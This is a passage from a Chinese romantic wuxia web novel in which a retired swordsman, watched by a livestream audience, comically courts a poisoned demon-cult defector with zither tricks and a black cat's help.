魔教内分三堂五部,还有十数分舵,这三堂司掌刑讯、情报、暗杀等职,受谢厌直隶调动,并且只有谢厌能够调动,只是不知为何,谢厌被追杀时,却并不见他属下护主。
江湖中人都说这是老教主对谢厌信任有加,才能够将教中一半大权拱手让给谢厌,这三堂司掌还极为紧要,魔教怎么也离不得这三堂,也足以看得出老教主对谢厌究竟有多看重。
裴衡应当就属于这三堂之一,他这么擅长隐匿身形,又不喜欢见人说话,这三堂的职责,也确实很适合他。
“谢厌过往之事,有不少他都知道。”余清晚道,“赵兄,你在何处有困惑,都可以问他。”
赵惊弦:“呃……”
赵惊弦沉默想了片刻。
谢厌过往如何,他其实并不在意。
往事已了,现在去追溯也并无作用,若是一定要问,他当下最好奇的,其实还是谢厌所受的伤。
“谢厌是自己要叛离魔教的?他中的到底是什么毒?”赵惊弦问,“我记得他与魔教教主是师兄弟,关系应该不错,总不可能是魔教教主对他下的手吧?”
竹叶内传来了裴衡紧张得异样尖细而颤抖的声音。
裴衡:“……是……是,不知道,没有不错……对……对对对……。”
赵惊弦:“啊?”
余清晚深深叹气。
他也少见裴衡这副模样,可毕竟长久相处,又事先对谢厌的事情有过了解,裴衡想说什么,他心中大致清楚,便只好主动代裴衡与赵惊弦解释。
“谢厌叛离魔教之事,本是无奈之举,若有选择,我想他不会愿意这么做。”余清晚说道,“魔教教主对他下了毒,他为了保命才不得不离开,至于那位江教主与他之间的关系……同传闻所说得并不相同,只怕没赵兄你心中所想的那么好。”
赵惊弦点了点头:“哦,看来是在争权了。”
也对,魔教本讲究血脉传承,前教主只要不是绝嗣,亦或是子嗣太过无能,教主之位一般都会传及子嗣,可对这位江教主而言,如今这教主之位是传给他了,紧要的一半却在谢厌手中,谢厌与他连血脉亲缘都没有,也怪不得他会生气。
竹叶中却又一颤,裴衡极小声说:“不……不是为了争权。”
余清晚也道:“至少不全是为了争权。”
赵惊弦:“不是争权?那是为了什么?”
裴衡:“情……情敌……”
余清晚:“江教主,他该算是……你的情敌。”
赵惊弦:“?”
17.猫猫恋爱教学·一
赵惊弦困惑复述了一遍余清晚的话语:“啊?什么情敌?”
余清晚反问:“赵兄,你对魔教教主江晦了解多少?”
“不多。”赵惊弦蹙眉,“只听盟主提过他的名字,知道他是谢厌师兄,也用刀,我感觉很没品,就没再深入了解——”
余清晚:“……停!”
他可不想听赵惊弦扯什么刀剑之争,正常人理解不了赵惊弦与剑有关的情怀。
“江晦这人的武功能力都远不及谢厌,裴衡说过,他嫉恨谢厌的天赋,却又……”余清晚停了片刻,低声,“从中萌生出了……另一种畸形的感情来。”
赵惊弦飞快瞥了眼弹幕。
【细说一下这部分畸形的感情!】
【好熟悉的剧情,我总觉得我在隔壁小花网站的直播间里看过。】
【什么小花网站!有宝子分享一下小花直播间的地址吗?!】
【病态阴暗因恨生爱……还下毒?这真的是我们绿色直播间是能播的剧情吗?】
【主播小心你的直播间啊!别又被封了!】
“谢厌的毒,是江晦所下,解药应当只有他才有。”余清晚说,“此毒只作折磨之用,为的是废去谢厌的武功,令谢厌只能依赖他。”
赵惊弦:“谢厌没发现?”
余清晚还未回答,二人头顶的竹叶先颤了颤,裴衡小声说:“起初没有。”
赵惊弦微微蹙眉。
余清晚:“谢厌中毒已一年有余,江晦始终装着好师兄的模样,对他万分关切,在教中大肆搜寻下毒之人。”
裴衡:“谢副使当时……很……为此动容。”
赵惊弦:“……傻子。”
余清晚一怔:“什么?”
赵惊弦并未回答余清晚,他抬眸看向头顶竹稍,唤:“裴衡。”
竹叶不受控制剧烈颤动。
“我有几个问题。”赵惊弦说,“谢厌既比江晦要强……你们老教主还将教中这么重要的三堂交给他,邪道人有这般好心?”
裴衡:“我……不知老教主心思……”
赵惊弦挑眉:“你们老教主是对他有恩?”
裴衡:“是。”
赵惊弦:“谢厌对他很尊敬?”
裴衡:“是。”
赵惊弦心下了然,低声道:“……真是傻子。”
余清晚不解:“赵兄,这又是何意?”
“还是江湖上有名的大恶人呢。”赵惊弦啧舌说,“混邪道都能混成这幅憋屈模样。”
【啊?没懂?有人听懂主播的意思了吗?】
【从邪道恶人变成了邪恶恶猫,还是奶凶没什么震慑力那种】
【意思是谢猫猫为了报恩,没有一点上位之心,被人卖了还任劳任怨帮着数钱吧。】
【江湖十恶之首谢厌→→→江湖十喵之首谢猫猫!】
【我天可是这样更好品了啊,谁不喜欢这款谢猫猫!】
【没有人觉得主播好像生气了吗?他这个表情有一点吓人的啊……】
【没关系,我们笨蛋主播就算生气了也不会有用的】
“赵兄,其实还有一件事……”余清晚有些迟疑,“我并非是要责怪你,可我总觉得……你对谢厌的感情,并非一见钟情那么简单。”
赵惊弦:“……”
赵惊弦心虚移开了目光。
“你既不想说,一定有需要隐瞒的缘由,我便不多问了。”余清晚叹了口气,“可若你真对谢厌有意,我还是应当提醒你……谢厌经人背叛后,一定很厌恶他人欺骗。”
赵惊弦想,完了,他对谢厌何止是欺骗啊?
他连接近谢厌的目的都不单纯,若真为谢厌所知,往后怕是连朋友都当不成。
余清晚又道:“谢厌这人外冷内热,只需诚心待他,待时日长了后,一定会有结果。”
赵惊弦:“……”
赵惊弦更心虚了。
他现在缺的就是时间,他根本不知道直播间何时会发布下一个任务,自然不会有功夫和谢厌玩什么来日方长。
余清晚最后道:“我弟弟只会纸上谈兵,你千万不能信他。”
赵惊弦小声:“我觉得他的建议不错……”
——至少直播效果不错,观众喜爱值涨得极快,打赏也很多。
余清晚一愣:“他说什么了?”
赵惊弦:“……倒是也没什么。”
余渡那些虎狼之言,什么一次强吻不成就两次……赵惊弦反正没有勇气说出口。
“赵兄,你可曾想过。”余清晚看得出赵惊弦还有事隐瞒,可他也只能微微蹙眉,道,“谢厌已见多了虚情假意。”
赵惊弦心虚颔首,移开目光:“……嗯嗯,我知道的。”
“他方被至亲之人欺骗,再经不得背叛……只要你真心以待。”余清晚轻声道,“……终有一日,他会为你动心的。”
-
赵惊弦回到竹庐内时,余渡还在院中等他。
余渡看起来兴奋不已,一见赵惊弦出现,便立即上前,万分激动道:“赵大哥,我又想到了一个好办法。”
赵惊弦一怔:“还有什么办法?”
“我听我兄长说过,你在学琴,对吧。”余渡道,“谢厌也会弹琴,你可以找他教你!”
赵惊弦尚因余清晚一番话语而心有愧疚,他本来是不打算接受余渡的建议的。
可学琴之事,余清晚也提过,两兄弟都提过的办法,一定是个好办法!
赵惊弦立即点头:“我明日便去找他。”
“不能拖到明日。”余渡说,“今日深夜,你去他的门外弹琴!”
赵惊弦一愣:“啊?这样不好吧?”
谢厌受了伤,需要多休息,总该让人睡个好觉才对。
余渡:“而且一定要弹错,错得越多越好,他一定会忍不住纠正你的!”
赵惊弦皱眉:“……真的?”
余渡给赵惊弦举了一个他无法反驳的例子。
余渡:“赵大哥,你想想,若有一人夜半在你屋外练剑,而你只能隔窗看见他的剪影,你是不是会好奇心起,迫不及待想要出去看一看这人是谁?”
赵惊弦想了想这情境,点头。
余渡又道:“那若这人的剑法错漏百出,你能忍吗?”
赵惊弦:“……绝无可能!”
他一定会出去纠正这人,兴许还会将这人骂上一顿。
余渡:“你看,这不就对了嘛!”
练剑是这个道理,弹琴……可能也会是这个道理吧。
余渡:“还有,待他出来后,你便立即将琴弦拉断,而后装着琴弦伤手——”
“……等等。”赵惊弦忽而想到了一件事,“那琴的琴弦全断了,我还没修好。”
余渡一愣,努力在脑中搜寻他那广博的阅读量,却没有任何一篇能对得上今日的情况。
余渡只能硬着头皮回答:“那……那你就在他门前上弦!”
赵惊弦更困惑了:“弹错还好说,上弦……真的有用?”
“当然有用!”余清晚又举了个赵惊弦无法反驳的例子,“赵大哥,你想想,若有人在你面前磨剑,但手法全错,极伤剑刃——”
赵惊弦登时怒从心中起:“……不能忍!”
余渡:“对吧!”
“什么人啊!”赵惊弦恨恨骂道,“我非得揍死他!”
余渡:“……啊?
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-
夜深之时,赵惊弦抱着他琴弦全断的琴,鬼鬼祟祟出现在了竹庐院中。
他在谢厌门前坐下,方取出一卷新弦,便见一旁阴暗处睁开一双绿幽幽的眼睛,玄猫不知又从何处钻出来了,蹲坐一旁,喵视眈眈地看着他。
赵惊弦觉得有些奇怪。
他养的猫,以往甚是独立,除了他外出方归与喵喵开饭时,不会太黏着他,特别是玄猫,它可是喵中老大,平日总难见着它。
谢厌来的这几日,玄猫总绕着他们两打转,此事实在太过稀奇,赵惊弦完全弄不清它想做什么。
赵惊弦心中困惑,手上动作倒是不停,他熟练将琴弦穿过龙龈,正要用力绷紧,却忽地又想起了一个大问题。
他只是要给琴换弦,换弦又弄不出什么大动静,那他究竟要如何才能引起屋中谢厌的注意?
赵惊弦沉默看着面前紧闭的门扇,一时陷入沉思。
照余渡的意思,这动静一定得和琴有关,还要错漏百出,方能引起谢厌的兴趣。
可这个时辰,谢厌保不齐已经歇息了,他若不能出声,哪怕在门外倒立旋转着给琴上弦都没有用。
赵惊弦只得用力咳嗽几声,咳完便立即竖起耳朵,倾听屋内的动静。
如此循环数次,屋中依旧静极。
赵惊弦不知所措,出师不利,他或许应该就此收——
玄猫一脑袋砰地用力顶开了房门。
赵惊弦吓了一跳,惊慌抬首,正对上了门后谢厌的目光。
赵惊弦怔住了。
他怎么也没想到谢厌就在门后,二人之间只隔了这一扇门,那透过竹窗间隙,他方才那些蠢过了头分外做作的举动,谢厌只怕看得一清二楚。
更不用说……更不用说……
该死,这人的眼睛,怎么就生得那么好看,他根本移不开目光。
谢厌正冷然挑眉:“赵惊弦,深更半夜,你又在发什么疯。”
赵惊弦紧张摸了摸手中的琴。
谢厌有些不耐:“若是无事,我要休息了。”
赵惊弦握紧手中琴弦,竭力摆出一副与琴不熟的模样来。
可谢厌好像压根没看见他手中的琴,一手已经抵上了房门,正打算将门关上,玄猫忽地又顶了顶他的腿,而后抬起毛茸茸的圆脑袋,对着谢厌睁大了圆溜溜的绿眼睛,在昏暗灯光之下,黑色的瞳仁放大而浑圆,显出一副极可怜的模样来。
谢厌:“我讨厌猫。”
玄猫将眼睛睁得更圆了一些:“咪嗷~”
谢厌:“……惹人厌烦。”
玄猫的叫声千回百转:“咪~咪呀~”
谢厌:“……”
谢厌冷着脸阴沉着退后半步,让玄猫进了屋。
赵惊弦讶然看着眼前一切,想起余清晚说过的话,谢厌这人外冷内热——
等等,他忽然就有了瞎编的全新方向。
赵惊弦支支吾吾:“那个……谢副使……其实……”
谢厌不耐:“怎么了?”
赵惊弦:“这是我的房间。”
谢厌:“……”
赵惊弦:“你那日伤得太重,我来不及腾出其他屋子,只能先将你安顿在此处。”
谢厌:“……”
赵惊弦:“这几天我一直睡在柴房,真的很可怜。”
谢厌:“……”
赵惊弦:“今天天冷,柴房更冷,还黑黢黢的,很吓人。”
谢厌:“……你要做什么?”
赵惊弦如同玄猫一般可怜兮兮抬首,对着谢厌睁大眼睛,竭力放软声音:“谢副使,能……能让我回屋里睡吗?”
谢厌:“……”
18.是心动
谢厌沉默看着赵惊弦,只像是看见了什么他捉摸不透的怪东西。
赵惊弦依旧可怜兮兮睁着眼,委屈巴巴小声唤:“谢副使……”
谢厌态度冷淡:“你又在发什么疯?”
不对,这招怎么不管用啊?
谢厌看起来怎么这么不耐烦啊?
谢厌身后的玄猫,忽地抬高了脑袋,咪呀叫了一声,努力用头去蹭谢厌的腿,蹭完之后便回过脑袋,又恢复了平日总是半睁着眼的模样,像是在用眼神拷问赵惊弦。
赵惊弦:“……”
对,哪怕猫猫这么可爱的生物,在谢厌面前也不是一次就成功的。
这人的嘴可硬得很,他若再多尝试几回,保不齐便能成功。
赵惊弦将语气放得更软:“谢副使……我知道你是个好人……”
谢厌挑眉:“好人?谁?我?”
赵惊弦:“……”
不对,夸正道人才能说是好人,夸魔教中人,肯定不能这么用词。
赵惊弦清了清嗓子:“谢副使,像你这样的魔头,若是想杀我,一定会亲自动手,堂堂正正与我比试。”
谢厌:“你想说什么……”
赵惊弦:“总不至于让我在院中冻死吧!”
谢厌:“……”
赵惊弦:“此事若是传出去,多伤你的威……恶名啊!”
谢厌:“……”
赵惊弦又刻意放软了语调:“谢副使……我知道你是个大坏人……”
谢厌倒抽了口气,有些无法忍受,朝后让开了半步。
“进来。”谢厌说,“但不许再废话,吵得头疼。 ”
赵惊弦登时来了精神。
好,猫的办法,果然就是好办法!
对付谢厌这种人,就该用猫猫的手段——
谢厌却又道:“真烦,我去柴房睡,行了吧。”
赵惊弦:“啊?”
谢厌不耐烦:“柴房在哪?”
赵惊弦:“……”
不,他想要的不是这个结果啊!
这种时候,不能开口说话的猫好像已经教不了他太多了。
他得另外想些办法。
赵惊弦满怀希望看向弹幕区。
【天啊怎么回事我的主播突然就开窍了?!】
【谢猫猫果然是猫猫,嘴好硬心好软嘿嘿】
【大晚上还这么多人在看直播啊。】
【你们懂什么!直播嘛!就是大晚上的才刺激!】
【这里又不是小花直播间,晚上和不晚上有区别吗(麻木脸】
【所以到底有没有小花直播间的地址啊!球球大家了!孩子就是得看这个才能有力气讨生活啊!】
奇怪,他们到底在说什么,什么小花直播间,这世上难道还有另一个直播系统?
谢厌已走到了门边,事情不能再往下拖延了!
赵惊弦没有办法,赵惊弦开始随口胡言:“不……别去了吧!柴房不适合养伤的!”
谢厌冷声:“我不在意。”
“那儿潮湿,阴冷,还特别黑。”赵惊弦竭力想将柴房的环境描述得差一些,“这时节,估摸着还有不少虫子,猫都不喜欢去那地方。”
谢厌顿住了脚步。
赵惊弦见自己的劝说有效,只当谢厌接受不了他瞎编出来的恶劣环境,更要添油加醋:“柴房内连床都没有……”
谢厌神色不变。
赵惊弦:“说不定还有蛇。”
谢厌神色平静。
赵惊弦:“还……呃……还特别黑,那屋子没有窗,通风也不大好——”
谢厌的眉尾挑了挑,至少赵惊弦这一句话,说进了他心里。
赵惊弦一怔:“屋中全是杂物,怕是不好点灯,保不齐便会走水。”
这一回谢厌抿了唇,唇角微微下压。
等等,赵惊弦算是发现了。
他只有在说到柴房特别黑时,谢厌才会有所反应,这人该不会——
“谢副使……”赵惊弦语调迟疑,“你该不会……怕黑吧?”
谢厌:“……”
赵惊弦:“没别的意思,我只是觉得……江湖出名的大恶人,竟然怕黑,未免也有些太不可思议了。”
谢厌:“……”
赵惊弦:“当然,怕黑而已,其实也不是什么大问题——”
谢厌满面怒意:“谁怕黑了!”
赵惊弦一怔:“你啊?”
谢厌:“我呸!”
谢厌忽而回身挥手,掸灭了屋中灯烛。
赵惊弦如今已十分笃定谢厌练过暗器,谢厌调用不了内力,也不知是丢了什么东西,赵惊弦只觉一股劲风拂面而过,烛火忽地便灭了,而后方是夺地一声响,有什么在屋中墙面弹开。
谢厌的武功的确很不错,这一手太过漂亮,连赵惊弦都忍不住要佩服。
赵惊弦的心动,莫名就多了一点。
“怕黑?”谢厌在暗处冷笑,“你说谁怕黑?”
赵惊弦:“这个,我只是觉得——”
“……啊?!”谢厌猛地又拔高了音量,蹭地后退了几步,“什么东西!”
跳到了桌上正用尾巴拂过谢厌手背的玄猫:“咪嗷?”
谢厌:“……”
赵惊弦:“……”
谢厌:“一……一时惊慌而已!不作数的!”
赵惊弦:“……”
该死啊。
这魔头……他怎么能这么可爱!
-
一片黑暗之中,赵惊弦只看得见玄猫微微泛光的绿色瞳孔,耳边传来谢厌极强作镇定而极冷淡的声音。
谢厌努力冷笑:“呵,呵呵,你看吧,我根本不怕黑。”
赵惊弦:“是是是。”
玄猫:“喵喵喵!”
谢厌异常镇定:“我……我只是讨厌猫,特别是黑猫,夜中看见这眼睛便……便惹人生厌。”
赵惊弦:“好好好。”
玄猫歪头:“咪咪咪?”
谢厌:“算了,我去柴房睡。”
他转身正要出门,赵惊弦一把拉住了他的手,压着笑意:“……糟了,谢副使,可我很怕黑。”
谢厌:“……”
“我能点个灯吗?”赵惊弦道,“你能留下来陪我便更好了,晚上这么黑,我不敢一个人在这儿睡的。”
谢厌:“……”
赵惊弦:“像你这般的大恶人,一定很乐于留下来看我这种正道人怕黑的笑话吧。”
谢厌这才勉强道:“……勉为其难。”
赵惊弦几乎压不下唇角:“多谢,可真是帮了大忙了!”
谢厌冷淡:“嗯。”
赵惊弦伸手去点灯烛,抽空瞥了眼方才这一瞬几乎爆满的弹幕区。
【这人谁?主播被夺舍了吗?他怎么突然变得好会?】
【我觉得他不是会,他纯粹就是玩上了吧……他之前发现谢猫猫骂人会被和谐成猫叫的时候也是这样啊,不要对剑修抱有希望。】
【啊啊啊可是可是谢猫猫真的很猫猫!太可爱了!】
【炸毛小猫就是永恒的神!】
【感谢用户[请叫我丧彪大哥]送来的[红尘快马],观众喜爱值+10】
赵惊弦心有困惑。
他会什么?
他是成功留下来了,可他今晚的目标可才实现了不到一半,他还没能让谢厌教他弹琴
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,他还得再想点办法,当着谢厌的面拉断琴弦——
被赵惊弦看出心中想法的谢厌,负手不安在屋中踱了几步,一眼瞥见了赵惊弦带来的琴。
“你方才在屋外,原是想做什么?”谢厌伸手轻轻抚过琴身,“修琴?”
赵惊弦立即来了精神,用力点头。
“说来在山涧时我便觉得很奇怪,你为何要带琴去山涧。”谢厌又皱眉,“你会弹琴?”
“退隐之后,略学了一些,不过只是自学,不太拿得出手。”赵惊弦道,“本来……呃……本来是看今日天色不错,想着既要去后山山涧,便抽空练一练琴。”
谢厌又蹙眉看了赵惊弦一眼:“屋中桌上还有洞箫,你也学过?”
赵惊弦挠了挠头:“也只有一点点,怕是见不得人。”
何止是见不得人,赵惊弦非常清楚自己的真实水平。
就他这点归隐后自学的技术,进老年退休艺术团的候补位都相当勉强,他一弹琴全家猫猫都嫌弃他,余渡让他故意弹错藏拙,可赵惊弦自己心中清楚……什么故意弹错,他不故意也能弹错。
谢厌又问:“不太会弹琴,但会上弦?”
赵惊弦立即道:“不太会。”
还好,虽然过程有些古怪,可结局好歹是掰回来了。
谢厌也正巴不得绕开方才那个怕黑的话题,琴箫都是他熟悉之事,他看一旁还放有新弦,便直接道:“我来吧。”
赵惊弦只好在旁坐下,看着谢厌修琴。
谢厌上弦的动作比赵惊弦要快许多,调音更是熟稔,看来余清晚倒是没有说错,谢厌极擅音律,待试完音,谢厌随手拨弄了几下琴弦,便已成曲调,这漫不经心曲调,便已是赵惊弦归隐半年都达不成的水平了。
赵惊弦却喃喃道:“怪不得你武功不好。”
谢厌琴音一顿,微微眯眼:“你说谁武功不好?”
“琴弹得这么好,应该没少练吧?”赵惊弦道,“主管魔教内务,那么多繁琐杂事,又抽空练琴,余下还能有多少空闲练剑……练刀。”
谢厌微微蹙眉,默声片刻,难得没有因赵惊弦的话语而生气。
“我不像你。”谢厌说,“你是江湖游侠,自在潇洒,可我……不同,我没有那么多自由。”
“有何不同?”赵惊弦道,“既已叛出魔教,往后便也是自在逍遥的江湖游侠。”
谢厌:“……”
赵惊弦改口:“哦,你不是游侠,你是游魔。”
谢厌:“……”
谢厌轻轻拨了拨琴弦,好一会儿,方低声:“怕是没有那么简单。”
“江湖中事,说来不过‘快意’二字而已。”赵惊弦道,“有什么不简单的,怕魔教追兵,还是怕你身上的毒?”
谢厌攒眉,似是不知应当如何回答。
赵惊弦微微挑眉:“放心,魔教之人应当不敢再来了,至于你身上的毒……我会想办法,若余清晚不成,我还认识苗医——”
谢厌叹气打断他:“赵惊弦,你我素不相识。”
赵惊弦:“现在不是已经认识了吗?”
谢厌稍稍一怔:“若只是相识……”
“不只是相识,都相过亲了。”赵惊弦认真说,“我喜欢你,你还要我说几遍?”
谢厌:“……”
赵惊弦却在此时想着了另一件事。
“对啊,你都已经叛出魔教了,你现今与魔教全无瓜葛。”赵惊弦低语喃喃,“那我何必还称你什么副使。”
谢厌:“什么?”
“谢厌。”赵惊弦弯了弯唇角,目光灼灼,“以后,我唤你谢厌吧。”
谢厌:“……”
谢厌的心,怦然作响。
19.正邪相恋的经验
谢厌张了张唇。
话语全被卡在喉中,他怔然半晌,到头来也只是闷着勉强点了点头。
“随你。”谢厌别扭说道,“反正我对你也是直呼其名。”
“但还有一事,我希望你记清。”谢厌说道,“我与你之间——”
赵惊弦已经学会抢答:“正邪有别,绝无可能?”
谢厌:“……”
“正邪又不是什么大问题。”赵惊弦道,“你看余清晚与裴衡,他二人也是正邪相恋,也不见得有什么人要来拆散他们啊。”
谢厌:“……不同。”
赵惊弦挑眉:“有何不同?”
其实话到此处,赵惊弦心中已略有了些不安。
他和谢厌与余清晚的正邪相恋确实不同,可这不同似乎只在于——余清晚与裴衡是竹马,而谢厌的竹马是……
啧,赵惊弦有些不快。
谢厌这么说,总不会是因为他那个师兄江晦吧?
谢厌浑然未觉,目光落在琴上,半晌方问:“你可知我是同何人学的琴?”
赵惊弦有些发酸:“不会是……”
他将那名字咽下,心中却又莫名多了几分不满。
谢厌道:“是我父母。”
赵惊弦:“……”
赵惊弦安心了。
虽然他不知道谢厌父母是谁,可只要教谢厌弹琴的人不是江晦,那就没有关系。
“我父亲原是教中江南一处商铺的账房。”谢厌说道,“他不是教中人,甚至不是江湖人。”
赵惊弦不知谢厌为何要提及此事,但还是颔首:“此事……我倒是从未听说过。”
江湖传闻只说谢厌受老教主抚养长大,至于谢厌的出身如何,赵惊弦倒从未听人提起过。
他甚至不知谢厌为何要突然说起此事,可秉烛夜谈,对方忽而提及父母亲人,接下来要说的,当是极重要的事情,赵惊弦便靠近了些许,仔细去听谢厌接下来的话语。
“十五年前正道围剿江南分舵,你们正道中的一位大侠,摸进了教中的商铺。”谢厌语调寡淡,几乎像是在说一件与他并无关联的事情,“不问缘由,不问身份,不管是不是江湖人,将商铺上上下下屠了个干净。”
赵惊弦一怔。
“赵大侠。”谢厌又说,“正道人常以侠名行恶事,你应当也是清楚的吧?”
赵惊弦默声颔首。
这件事他是没听说过,十五年前他尚未来到这个世界,这种见不得人的龌龊事,正道显然也不会大肆宣扬。
可正道中为恶之人,这些年他见过不少,邪道从善的,他也听说过许多。
江湖中明辨黑白,本就不能只依正邪定论,只是总有人被正邪身份桎梏,在江湖上闹出意想不到的事情来。
“所以我厌恶正道,最恨正道大侠。”谢厌冷声说,“就算你与他们不同,我也不可能——”
赵惊弦只听见了其中半句话,甚是欣喜:“我与他们不同?”
谢厌一顿:“你救过我的命,我一向恩怨分明——”
赵惊弦美滋滋,只当谢厌是在夸他:“可我与他们不同哎。”
谢厌:“……”
谢厌恼了。
“你是正道人。”谢厌愠道,“我讨厌正道人。”
赵惊弦也有得是理由强词夺理。
“我都已经归隐了,归隐了就不是江湖正道了。”赵惊弦说,“你若是喜欢,我现在就加入邪道也行。”
谢厌:“你……正道人的信念呢?”
赵惊弦理直气壮:“啊?我没有那种东西啊。”
谢厌说不出话。
“当然,你若觉得我加入邪道不够,我还可以加入魔教。”赵惊弦还挺自豪,“我武功很好的,只要你一声令下,我立马拥护你成为新的魔教教主。”
谢厌:“?”
赵惊弦立即改口:“圣教,圣教!我愿加入圣教,与谢副使……呃……同舟共济,狼狈为奸,同流合污——”
谢厌:“??”
“抱歉。”赵惊弦挠了挠头,“总爱去参加武林大会,正道演讲听得实在太多了,张嘴这词就止不住往上冒。”
谢厌:“……你是不是有毛病?”
赵惊弦:“我已说过了,我身体康健,一顿能吃两碗——”
“我问你这种话做什么。”谢厌深吸了口气,“你这人就是脑子有病。”
赵惊弦有些委屈。
他先看了看趴在桌上听二人交谈的玄猫,此刻正啪啪啪烦躁甩着尾巴,像是下一刻便要扑上来啃他了。
他再看了看弹幕区——几乎已被“哈哈哈哈”铺满,每个人都在嘲笑他方才说的那些话。
谢厌按下琴弦,无言看了他一眼,似乎已不想与他说话了。
“时间不早了,早些休息吧。”赵惊弦只好讪讪起身,“你有伤在身,你睡床上,我凑合凑合就好。”
谢厌:“……”
初回同屋而眠,赵惊弦在床边的竹床上蜷着挤了一晚,夜深时,还莫名挨了玄猫狠狠抽在脸上的几巴掌。
赵惊弦也不知道自己究竟做错了什么,到翌日天明他起身准备去练剑,更是看见玄猫美滋滋窝在谢厌怀中,睡得正香。
这差别待遇,令他心中莫名火起,可又怕将谢厌吵醒,憋着怒意悄声出了门,恶狠狠在心中想,今日喂小猫吃鱼时,一定没有这臭黑猫的份!
-
赵惊弦自山涧练
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剑归来,方到辰时。
他在院中见着了余渡,余渡像是一夜未眠,熬得眼下青黑,可一见赵惊弦出现,他还是立即便凑了上来。
“赵大哥。”余渡话语急切,“昨夜……如何了?”
赵惊弦想了想昨夜谢厌说过的那些话。
“过程不太对,结局,他弹上了,我还没弹,也没答应教我学琴。”赵惊弦叹了口气,“他说正邪相对,他不喜欢正道人。”
“赵大哥,这……我就帮不了你了。”余渡挠了挠头,“正邪这方面……我看得不太多,了解得也不多,不过没关系,赵大哥,我还有个办法。”
赵惊弦一怔:“你还有办法?”
“江湖嘛!”余渡胸有成竹,“一人有难,四方来助。自己解决不了的事情,可以喊朋友来帮忙啊!”
赵惊弦蹙眉:“这种事,还能请人帮忙?”
余渡:“赵大哥,你在江湖上有那么多朋友,其中总有正邪相恋的吧!”
赵惊弦:“……”
有。
不仅有,还是你哥。
余渡:“他们总有化解正邪之别的办法,写信问问他们不就好了。”
问过了。
但感觉你哥的办法,也不是特别好用。
“若写信不行,也可以将人请来此处,面对面传授。”余渡说,“你将他们相恋时做过的事情说过的话语,一一记录执行,效果一定会很好。”
等等,余渡这么一说,赵惊弦还真想着了两个人来。
当年赵惊弦游历江南,曾了结过江南的一场悬案,因此结识了江南首富温家的少东家温怀楚,与江湖第一神偷路风满。
这二人都算是赵惊弦的好友,赵惊弦偶尔与他们会有书信往来,他知道这两人私交甚笃,温怀楚偶尔写信给赵惊弦时,也会提及几句路风满之事。
依赵惊弦所想,一个富可敌国的豪商之子,一个劫富济贫的天下神偷,他二人该算是正邪相对,虽不及他与谢厌如此水火不容,可立场也大有冲突,应该能给他提不少建议。
“确实认识几人。”赵惊弦想了想,道,“你觉得温怀楚如何?”
余渡睁大双眼:“钱隆宝庄的少东家,温怀楚?”
赵惊弦:“对,他虽不是江湖中人,可我与他还算是故交。”
余渡极为激动:“这一段,我也看过啊!”
赵惊弦:“啊?”
余渡:“江南首富,江湖神偷!”
赵惊弦:“他们确实是——”
余渡:“我看过的本子,都很爱写他们啊!”
赵惊弦:“???”
等等。
温怀楚和路风满……原来不是单纯的好朋友吗?!
20.这江湖……
“你说什么本子?”赵惊弦深吸了口气,“戏本?话本?不是……你说的这个本子,它真的正经吗?”
余渡也一怔:“能沿街售卖的本子……应该是正经本子吧?”
“这……应该吧……”赵惊弦挠了挠头,“江湖上……很多他们的传闻?”
余渡:“是啊!我从小就是看他们的故事长大的!”
赵惊弦不由一顿:“……看着长大?”
什么叫做从小看着长大?
温怀楚与路风满都与赵惊弦年岁相当,正是当打之年,还年轻得很,余清晚也是这年岁,若是一定要算,大概也只有谢厌的年纪会略小上两三岁。
至于余渡,看起来是个少年郎,具体年纪,赵惊弦并不清楚,余清晚也没有提过,可余渡每天看的都是这种书……这怎么看也不该是孩子会读的书啊。
“是啊,赵大哥。”余渡诚恳说道,“您的故事,我也是从小听着长大的。”
赵惊弦:“……”
赵惊弦忽而觉得有些不妙。
余渡爱看的故事与其他人可不同,那里头全是痴男怨女少儿不宜,他这么一个臭练剑的,怎么还能和这种故事扯上关系?
赵惊弦忍不住追问:“我和谁的故事?”
余渡:“呃,那可就有些多了。”
赵惊弦几乎不敢相信:“……有些多?”
“主要是赵大哥你朋友太多,江湖上稍微有些名气的你都认识,还都有一段过往。”余渡将声音压低了些许,又说,“江湖大事也总有你的影子,这故事难免就……稍微多了那么一点点。”
赵惊弦皱眉:“……一般是与何人?”
余渡:“大多是叶盟主吧。”
赵惊弦:“……”
余渡:“他总找你帮忙,帮忙总要给谢礼,至于这谢礼嘛……”
赵惊弦不解:“他每次都让我挑一柄剑,这还不够吗?”
余渡嘿嘿笑了一声,看起来稍有些心虚,又说:“其实和我哥也不少。”
赵惊弦:“?”
余渡:“不过自己哥哥的,不太好多看啦。”
赵惊弦:“??”
余渡:“邪道的也有,毕竟赵大哥你有点荤素不忌,正邪都能往来——”
赵惊弦:“谁荤素不忌?!”
你啊。”余渡一顿,“不对,是本子里的你啊!”
赵惊弦抽了口气,正欲制止余渡话语,还未来得及开口,一旁房门一开,先见着玄猫往外一蹿,美滋滋哒哒哒跑出屋,而后方是谢厌披着外衣倚在门边,蹙眉看着二人,问:“你们在说什么?”
赵惊弦:“……没什么没什么。”
余渡也有些不安:“我们……没说什么。”
可谢厌显是听见了他二人方才交谈的尾声,但至少最后两句,他应该是听到了。
“接着说啊。”谢厌语调凉飕飕甚是不快,“给我也听听,正好解解闷。”
赵惊弦有些紧张:“……你听见了多少?”
“不多。”谢厌说,“只听说赵大侠的故事很多,荤素不忌,还满江湖都是好友。”
赵惊弦:“这……话不能只听一半啊……”
谢厌忽地挑了挑眉:“哦?那我不听了。”
赵惊弦:“啊?”
谢厌说完这话后,果真转身回了屋,还重重将房门关上了。
赵惊弦满头雾水,闹不清谢厌为何非要出来一趟。
可余渡已瞪大了眼睛,显得极为兴奋。
“赵大哥,昨晚上……到底发生了什么?”余渡怎么也压不下话语中的兴奋,“怎么突然就成了啊!”
“成什么成,这人这性子……啧。”赵惊弦忍不住啧舌,“我都不知道他在想什么,他怎么就这么别扭。”
余渡:“他都吃味了,那当然就是成了!”
赵惊弦一怔:“吃味?”
“就算没完全成,也得有五六成了。”余渡说道,“至少好感一定是有了……赵大哥,快去搬搬救兵,我相信,只要救兵一来,我们就一定能成功!”
-
赵惊弦的纸笔,还在他原先的那间屋子里。
谢厌没有锁上房门,他小心翼翼敲门,小心翼翼进去,讪讪对着谢厌笑:“我有些事,进来写封信。”
谢厌蹙眉扫了他一眼:“写信?你要给何人写信?”
赵惊弦略松了口气。
还好,至少他要找温怀楚和路风满帮忙这一段话,谢厌还没有听见。
赵惊弦正要解释,谢厌却又冷哼了一声:“罢了,我不想知道,没有兴趣。”
